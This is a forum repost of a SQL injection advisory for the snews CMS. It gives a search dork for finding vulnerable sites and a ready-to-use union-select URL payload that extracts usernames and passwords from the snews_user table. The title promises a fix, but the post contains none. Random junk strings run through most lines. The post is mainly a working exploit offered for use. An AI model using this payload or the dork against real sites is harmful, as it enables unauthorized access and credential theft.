中国网络渗透测试联盟

标题: CMS snews SQL注射及修复 [打印本页]

---

作者: admin    时间: 2013-1-23 08:55
标题: CMS snews SQL注射及修复
标题: CMS snews SQL Injection Vulnerability
2 I9 L7 h8 w  q) l2 B& t作者: By onestree
% z* ~' v7 ~' X& d5 }下载地址 : http://snewscms.com/
% W  ], f. d% q4 l; m/ }测试平台 : ubuntu 12.10 / win 7
: @7 |4 P9 N' S% a) ]* c8 T0 F& j关键词: inurl:"tanyakan pada rumput yang bergoyang"
. q4 q% o! f# g0 a: B0 P% s/ @8 M
0 ~7 B7 {, b9 w3 ^* S* y4 h
3 [0 a$ R) v) [: T9 q8 h1 q3 C*************************************************************
- J4 y, l) H  A9 f
; b9 E5 E" F# A7 x1 i8 L' ~* |SQL poc:

- e& |/ _% N. j3 v5 s+ Thttp://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]
' R  O0 I$ |# c! N
示例
7 I/ V# t, N( x" m8 b
http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*
& a/ W. ^6 J! U8 p* r

致谢:
8 Z% ~+ O6 {1 R! B- {" S* `
  Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
     
          indonesiancoder - moeslimh4x0r - go-coder
0 K: a3 U% [* _- H& w
spesial my hunny :*
$ v+ K0 K) A$ a4 K- G

---

欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)

Powered by Discuz! X3.2